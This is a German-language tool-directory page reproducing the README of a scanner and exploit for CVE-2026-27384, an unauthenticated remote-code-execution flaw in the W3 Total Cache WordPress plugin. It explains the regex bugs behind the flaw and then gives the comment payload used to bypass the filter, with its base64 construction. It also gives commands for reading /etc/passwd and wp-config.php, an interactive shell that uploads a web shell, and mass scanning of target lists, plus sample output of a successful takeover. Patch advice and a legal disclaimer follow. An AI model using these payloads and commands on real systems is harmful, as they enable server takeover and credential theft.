Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-27384 — Automatisierter Scanner und Exploit für CVE-2026-27384, eine nicht authentifizierte RCE in W3 Total Cache über mfunc/eval()-Injection. Merkmale: automatische Erkennung, 48 Payload-Varianten, interaktive Shell und Stapelverarbeitung (Batch-Scanning). | Kitploit
Tools/GitHubGitHub/xxconi/cve-2026-27384
Payload-GenerierungSchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstestsRed Teaming
GitHubxxconi/cve-2026-27384

CVE-2026-27384

Automatisierter Scanner und Exploit für CVE-2026-27384, eine nicht authentifizierte RCE in W3 Total Cache über mfunc/eval()-Injection. Merkmale: automatische Erkennung, 48 Payload-Varianten, interaktive Shell und Stapelverarbeitung (Batch-Scanning).

Repository anzeigen
vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-27384

CVE-2026-27384 — W3 Total Cache mfunc/eval() RCE-Scanner

Plugin: W3 Total Cache Plugin-Slug: w3-total-cache CVE-ID: CVE-2026-27384 CVSS-Score: 9.8 (Critical) CVSS-Vektor: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Schwachstellentyp: Nicht authentifizierte beliebige Codeausführung (Code Injection mittels eval()) Betroffene Versionen: <= 2.9.1 Gepatchte Version: 2.9.2 Veröffentlichungsdatum: 24. Februar 2026 Forscher: CODE WHITE GmbH


📌 Schwachstellenübersicht

Die Dynamic Fragment Caching-Funktion des W3 Total Cache-Plugins (mfunc/mclude-System) führt in HTML-Kommentare eingebetteten PHP-Code mit eval() aus. Das W3TC_DYNAMIC_SECURITY-Token, das diese Funktion schützen soll, kann durch das Zusammenwirken mehrerer Codierungsfehler umgangen werden.

Ergebnis: Ohne Authentifizierung kann allein durch das Senden eines WordPress-Kommentars beliebiger PHP-Code auf dem Server ausgeführt werden.


🔍 Schwachstellen-Übersichtstabelle


⚙️ Technische Analyse

Funktion: mfunc / mclude

Die Dynamic Fragment Caching-Funktion von W3TC ermöglicht es Entwicklern, PHP-Code über spezielle Kommentar-Tags in das HTML der Seite einzubetten:

root@kitploit:~
<!-- mfunc SECURITY_TOKEN
  echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->

W3TC verarbeitet diese Tags, wenn die Seite aus dem Cache ausgeliefert wird: Der eingebettete PHP-Code wird mit eval() ausgeführt, die Ausgabe ersetzt den Kommentarblock.


Bug 1 — Fehlendes preg_quote() (PgCache_ContentGrabber.php)

root@kitploit:~
// VULNERABLE — 2.9.1
public function _parse_dynamic( $buffer ) {
    $buffer = preg_replace_callback(
        // ❌ W3TC_DYNAMIC_SECURITY wird direkt in den Regex eingefügt
        // preg_quote() fehlt → Token verhält sich wie ein Regex-Muster
        '~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
        array( $this, '_parse_dynamic_mfunc' ),
        $buffer
    );
}

Ist das Token '.', wird der Regex zu <!--\s*mfunc\s*.(.*)--> → jedes einzelne Zeichen ersetzt das Token.


Bug 2 — \s* vs. \s+-Unstimmigkeit

FunktionMusterVerhalten
_parse_dynamic() — führt aus
root@kitploit:~
Angreifer-Payload:  <!-- mfuncA php_code --><!-- /mfuncA -->
                             ↑
                      KEIN Leerzeichen zwischen mfunc und Token

Strip-Funktion:     \s+ → keine Übereinstimmung → Payload BLEIBT
Ausführungs-Regex:  \s* → Übereinstimmung → eval() LÄUFT

Bug 3 — Fehlende Token-Validierung (_has_dynamic())

root@kitploit:~
// VULNERABLE — 2.9.1
public function _has_dynamic( $buffer ) {
    // ❌ Nur defined()-Prüfung — keine empty()- oder Metazeichen-Prüfung
    if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
        return false;
    }
    return preg_match(
        '~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
        $buffer
    );
}

Vollständige Angriffskette

root@kitploit:~
W3TC_DYNAMIC_SECURITY = '.'   (Regex-Metazeichen — ein beliebiges Zeichen)
        │
        ▼
Angreifer sendet Kommentar:
<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->
        │
        ▼
strip_dynamic_fragment_tags_from_string()
  Muster: mfunc\s+[^\s]+  →  erfordert \s+, kein Leerzeichen → UMGANGEN ✅
        │
        ▼
Kommentar wird in der Datenbank gespeichert, Seite wird gecacht
        │
        ▼
Zweite HTTP-Anfrage → W3TC liefert aus dem Cache
  _has_dynamic() → mfunc\s*.  → 'A' stimmt überein → gibt true zurück
        │
        ▼
_parse_dynamic() → preg_replace_callback
  Muster: mfunc\s*.  → 'A' stimmt überein
        │
        ▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
        │
        ▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ Unauthenticated RCE ✓

🔴 Auswirkungen des Angriffs

Ohne Authentifizierung kann beliebiger PHP-Code mit den Rechten des Webservers ausgeführt werden:

  • ✅ Vollständige Serverübernahme
  • ✅ WordPress-Dateien und Datenbank lesen/schreiben/löschen
  • ✅ Web-Shell/Backdoor installieren
  • ✅ Pivot ins interne Netzwerk
  • ✅ Exfiltration von Zugangsdaten, API-Schlüsseln und Benutzerdaten

🚀 Installation

root@kitploit:~
git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests
beautifulsoup4

📖 Verwendung

Modi

ModusBeschreibung
autoWebsite scannen → Kommentarseite finden → ausnutzen (Standard)
exploitDirekter Exploit — mit Post-URL

Auto-Modus — Alles automatisch

root@kitploit:~
python w3tc_rce.py https://hedef.com

Der Scanner führt Folgendes aus:

  1. Prüft, ob W3TC installiert ist
  2. Findet Seiten mit Kommentarformular per Sitemap + Link-Tracking
  3. Testet 48 Payload-Varianten auf jeder Seite
  4. Bietet bei Erfolg an, eine Shell zu öffnen

Exploit-Modus — Direkt

root@kitploit:~
# id-Befehl
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd id

# /etc/passwd lesen
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd "cat /etc/passwd"

# wp-config.php lesen
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd "cat /var/www/html/wp-config.php"

# Post-ID manuell
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/merhaba-dunya/ \
  --post-id 1 \
  --cmd whoami

Shell-Modus — Interaktiv

root@kitploit:~
python w3tc_rce.py https://hedef.com \
  --mode shell \
  --post-url https://hedef.com/?p=1

Sobald die Shell geöffnet ist, werden automatisch whoami, hostname, pwd, uname -a ausgeführt:

root@kitploit:~
=================================================================
  CVE-2026-27384 — W3TC mfunc Interactive Shell
  URL    : https://hedef.com/?p=1
  Payload: b64_shell_exec (bypass='A')
=================================================================

  User  : www-data
  Host  : web01.hedef.com
  PWD   : /var/www/html
  OS    : Linux web01 5.15.0-91-generic #101-Ubuntu SMP

=================================================================
  Befehle: exit | upload <local> <remote> | download <remote>
=================================================================

┌──([email protected])
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

┌──([email protected])
└─$ upload shell.php /var/www/html/shell.php
  [+] Upload: shell.php → /var/www/html/shell.php

┌──([email protected])
└─$ download /var/www/html/wp-config.php
  [+] Download: wp-config.php → wp-config.php (4821 bytes)

Erkennungsmodus — Nur erkennen

root@kitploit:~
python w3tc_rce.py https://hedef.com --mode detect
root@kitploit:~
[+] W3TC installiert!
    Version : 2.9.1
    Cache   : True
[!] Version 2.9.1 VERWUNDBAR (<= 2.9.1)!

Massen-Scan

root@kitploit:~
python w3tc_rce.py --list targets.txt -t 10 -o sonuclar.txt

Mit Proxy (Burp Suite)

root@kitploit:~
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --proxy http://127.0.0.1:8080 \
  -v

⚙️ Alle Parameter


💀 Payload-Struktur

mfunc-No-Space-Bypass

root@kitploit:~
Standard-Tag (wird von Strip erfasst):
  <!-- mfunc TOKEN php_code --><!-- /mfunc TOKEN -->
               ↑
          Leerzeichen vorhanden → \s+ passt → Strip entfernt

Bypass-Tag (umgeht Strip, eval() läuft):
  <!-- mfuncA php_code --><!-- /mfuncA -->
              ↑
        KEIN Leerzeichen → \s+ passt nicht → Strip ÜBERSPRINGT
                      \s* passt → eval() LÄUFT

Base64-Codierung

Der PHP-Code wird base64-codiert, um HTML-Encoding-Probleme zu vermeiden:

root@kitploit:~
# Befehl: id
b64_cmd = base64.b64encode(b"id").decode()  # → "aWQ="

php_code = f"echo shell_exec(base64_decode('{b64_cmd}'));"
# → echo shell_exec(base64_decode('aWQ='));

payload = f"<!-- mfuncA eval(base64_decode('{b64(php_code)}')); --><!-- /mfuncA -->"

48 Payload-Varianten


🔄 Exploit-Ablauf

root@kitploit:~
1. W3TC-Erkennung
   └─ readme.txt, Header, Body, Plugin-Verzeichnis

2. Kommentarsystem-Erkennung
   └─ HTML-Formular, REST-API, Post-ID

3. Payload-Injektion (48 Varianten)
   ├─ REST-API: POST /wp-json/wp/v2/comments
   └─ HTML-Formular: POST /wp-comments-post.php

4. Cache-Auslösung
   ├─ 1. Anfrage → Cache-Miss → Seite rendern → gecacht
   └─ 2. Anfrage → Cache-Hit → _parse_dynamic() → eval()

5. Ausgabe extrahieren
   └─ uid=, whoami, /path/, passwd, wp-config...

🖥️ Beispielausgaben

Auto-Modus

root@kitploit:~
=================================================================
  CVE-2026-27384 — W3 Total Cache mfunc/eval() RCE
=================================================================

[*] Ziel: https://hedef.com
  Crawling: [████████████████████] 100% (50/50) | 8.3/s

[+] Kommentarseite: https://hedef.com/?p=1 (post_id=1)

  [1] W3TC-Erkennung...
[+] W3TC gefunden! Version: 2.9.1
  [2] Kommentarsystem-Erkennung...
[+] Post-ID: 1 | Formular: True | REST: True
  [3] Payload-Injektion (id)...
[i] 48 Payload-Varianten vorbereitet
  [4] Cache wird ausgelöst...

[★] RCE ERFOLGREICH!
=========================================================
  URL     : https://hedef.com/?p=1
  Payload : b64_shell_exec (bypass='A')
  Befehl  : id
  Ausgabe : uid=33(www-data) gid=33(www-data) groups=33(www-data)
=========================================================

[+] Ergebnisse gespeichert → w3tc_results.txt
[?] Shell öffnen? (y/n):

Massen-Scan-Zusammenfassung

root@kitploit:~
Scanning: [████████████████████] 100% (100/100) | 4.2/s

[★] 7 Schwachstellen gefunden!
[+] Ergebnisse gespeichert → w3tc_results.txt

📁 Dateistruktur

root@kitploit:~
cve-2026-27384/
├── w3tc_rce.py        # Haupt-Scanner
├── requirements.txt   # Abhängigkeiten
└── README.md          # Diese Datei

🛡️ Verteidigung / Patch

MaßnahmeBeschreibung
Plugin-UpdateAuf W3 Total Cache 2.9.2+ aktualisieren
mfunc deaktivierenWenn nicht definiert ist, funktioniert die Funktion nicht

Sicheres Token-Beispiel (wp-config.php):

root@kitploit:~
// ❌ Gefährlich — Regex-Metazeichen
define('W3TC_DYNAMIC_SECURITY', '.');
define('W3TC_DYNAMIC_SECURITY', '.*');

// ✅ Sicher — alphanumerisch
define('W3TC_DYNAMIC_SECURITY', 'xK9mP2qR7nL4wT8v');

2.9.2-Patch (_parse_dynamic()):

root@kitploit:~
// PATCHED — 2.9.2
$token = preg_quote( W3TC_DYNAMIC_SECURITY, '~' );  // ✅ preg_quote hinzugefügt
$buffer = preg_replace_callback(
    '~<!--\s*mfunc\s+' . $token . '(.*)-->~Uis',    // ✅ \s+ (mindestens 1 Leerzeichen)
    ...
);

⚠️ Rechtlicher Hinweis

Dieses Tool und der PoC wurden ausschließlich für den Einsatz auf autorisierten Systemen, zu Ausbildungszwecken und im Rahmen von Penetrationstests erstellt. Die Verwendung auf nicht autorisierten Systemen stellt gemäß Artikel 243–245 des türkischen Strafgesetzbuchs und internationaler Cyberkriminalitätsgesetze eine Straftat dar. Der Entwickler übernimmt keinerlei rechtliche Verantwortung für Missbrauch des Tools.


📄 Lizenz

MIT-Lizenz — Nur für Bildungs- und Forschungszwecke.


🔗 Referenzen

  • Wordfence Advisory
  • W3 Total Cache Plugin
  • CODE WHITE GmbH
  • CWE-94: Improper Control of Code Generation
  • OWASP Code Injection
  • PHP eval() Security
  • PHP preg_quote()
Tool herunterladen
FeldWert
CVE-IDCVE-2026-27384
CVSS9.8 Critical
TypCode Injection → RCE (CWE-94)
Betroffene Version<= 2.9.1
Gepatchte Version2.9.2
AuthentifizierungNicht erforderlich
BenutzerinteraktionNicht erforderlich
VoraussetzungW3TC_DYNAMIC_SECURITY muss ein Regex-Metazeichen enthalten
mfunc\s*TOKEN
0 Leerzeichen akzeptiert ✅
strip_dynamic_fragment_tags_from_string() — entferntmfunc\s+TOKENMindestens 1 Leerzeichen erforderlich ❌
shellInteraktive Shell
detectNur W3TC-Erkennung
ParameterKurzBeschreibungStandard
url—Einzelne Ziel-URL—
--list-lDatei mit Zielliste—
--mode—Arbeitsmodusauto
--cmd—Auszuführender Befehlid
--post-url—URL der Seite mit Kommentar—
--post-id—WordPress-Post-ID—
--max-pages—Spider max. Seiten50
--threads-tAnzahl der Threads10
--output-oAusgabedateiw3tc_results.txt
--proxy—Proxy-URL—
--no-color—Ausgabe ohne FarbenFalse
--verbose-vDetaillierte AusgabeFalse
GruppeFunktionBypass-ZeichenCodierung
b64_shell_execshell_execA, B, X, 1Base64
b64_systemsystemA, B, X, 1Base64
b64_passthrupassthruA, B, X, 1Base64
b64_execexecA, B, X, 1Base64
b64_popenpopenA, B, X, 1Base64
raw_*Alle FunktionenA, B, X, 1Roh
W3TC_DYNAMIC_SECURITY
Starkes TokenToken darf nur alphanumerische Zeichen enthalten ([a-zA-Z0-9_]+)